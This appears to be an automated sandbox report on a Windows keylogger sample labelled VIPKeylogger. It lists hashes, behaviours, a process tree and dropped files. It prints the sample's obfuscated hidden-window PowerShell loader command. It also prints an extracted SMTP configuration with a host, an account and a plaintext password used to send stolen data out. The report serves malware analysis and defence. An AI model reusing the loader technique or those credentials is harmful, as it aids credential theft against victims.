Analysis
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max time kernel
143s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
06-12-2024 02:32
Static task
static1
Behavioral task
behavioral1
Sample
4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
tvrdriver.ps1
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
tvrdriver.ps1
Resource
win10v2004-20241007-en
General
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Target
4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2.exe
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Size
613KB
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MD5
1db4a51100e3232069a4d5458e38b319
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SHA1
635a5278d1eaef481345014378d2f79fc3161b82
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SHA256
4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2
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SHA512
ef49bd40d6d56f08ef294dbb3eb0e8a66d5ff03d257a25789559dbe18a5a482bfad57b19014fa2ed66d5a8716b27b26f68fc5cbb2408ff1a7b3d918ca3d06336
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SSDEEP
12288:Stons9H6k4J4EbhpCRMft7DvTZPa2hLjPn39kub:3nu6X4Eu2lTTDjP39bb
Malware Config
Extracted
vipkeylogger
Protocol: smtp- Host:
mail.strakonltd.co.ug - Port:
587 - Username:
[email protected] - Password:
Moreblessings@26 - Email To:
[email protected]
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4104 powershell.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
Blocklisted process makes network request 8 IoCs
flow pid Process 26 3900 msiexec.exe 28 3900 msiexec.exe 30 3900 msiexec.exe 32 3900 msiexec.exe 36 3900 msiexec.exe 46 3900 msiexec.exe 48 3900 msiexec.exe 52 3900 msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 22 drive.google.com 26 drive.google.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 45 checkip.dyndns.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 3900 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 4104 powershell.exe 3900 msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 4104 powershell.exe 4104 powershell.exe 4104 powershell.exe 4104 powershell.exe 4104 powershell.exe 4104 powershell.exe 4104 powershell.exe 3900 msiexec.exe 3900 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 4104 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 4104 powershell.exe Token: SeIncreaseQuotaPrivilege 4104 powershell.exe Token: SeSecurityPrivilege 4104 powershell.exe Token: SeTakeOwnershipPrivilege 4104 powershell.exe Token: SeLoadDriverPrivilege 4104 powershell.exe Token: SeSystemProfilePrivilege 4104 powershell.exe Token: SeSystemtimePrivilege 4104 powershell.exe Token: SeProfSingleProcessPrivilege 4104 powershell.exe Token: SeIncBasePriorityPrivilege 4104 powershell.exe Token: SeCreatePagefilePrivilege 4104 powershell.exe Token: SeBackupPrivilege 4104 powershell.exe Token: SeRestorePrivilege 4104 powershell.exe Token: SeShutdownPrivilege 4104 powershell.exe Token: SeDebugPrivilege 4104 powershell.exe Token: SeSystemEnvironmentPrivilege 4104 powershell.exe Token: SeRemoteShutdownPrivilege 4104 powershell.exe Token: SeUndockPrivilege 4104 powershell.exe Token: SeManageVolumePrivilege 4104 powershell.exe Token: 33 4104 powershell.exe Token: 34 4104 powershell.exe Token: 35 4104 powershell.exe Token: 36 4104 powershell.exe Token: SeDebugPrivilege 3900 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 4552 wrote to memory of 4104 4552 4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2.exe 83 PID 4552 wrote to memory of 4104 4552 4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2.exe 83 PID 4552 wrote to memory of 4104 4552 4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2.exe 83 PID 4104 wrote to memory of 3900 4104 powershell.exe 96 PID 4104 wrote to memory of 3900 4104 powershell.exe 96 PID 4104 wrote to memory of 3900 4104 powershell.exe 96 PID 4104 wrote to memory of 3900 4104 powershell.exe 96 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2.exe"C:\Users\Admin\AppData\Local\Temp\4d6a20acf2890a33ccd8bbb853a2fcbf7494ee756f9a238c8608b5e78f77e7f2.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4552 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Velsesmaterialer=Get-Content -raw 'C:\Users\Admin\AppData\Local\akustikeres\springavancementerne\tvrdriver.Dob175';$udueligeres=$Velsesmaterialer.SubString(55839,3);.$udueligeres($Velsesmaterialer)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4104 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:3900
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
331KB
MD507e1551ff86c3a02cc4ade81aad1a57d
SHA111b8192abac18823b6a1f10ea2e8cf0d9b6ac10b
SHA256437bda3bc2978d74c4aa37d6a717b519b3f491492a673d329f36f54dd7764997
SHA5124af3c83cf79465cdb5cf467636aac784e1d1c97421c7d64216ffd3e02ed536c6543658ab3c351870722c3eb159bd496dc332a77fe2cbb55dd65f7b89d895acb9
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Filesize
54KB
MD57562ce0c4f392e2b16af6e4e2ed86bbf
SHA13f17f397709f6276b2345e09a30abe657614e5c4
SHA256e3f186006ceac653cb2fb3fd1a3f3d531246ee599efecb8aed68bed27d860e0a
SHA5122f98d074df39c3bcf3ffae38c911b90487499a8c40fd1a4c45d7c9acf804acb3edf6d820295c4f1c4226be00a9a358b4db1c94936896e01a7f6bbda89ce60334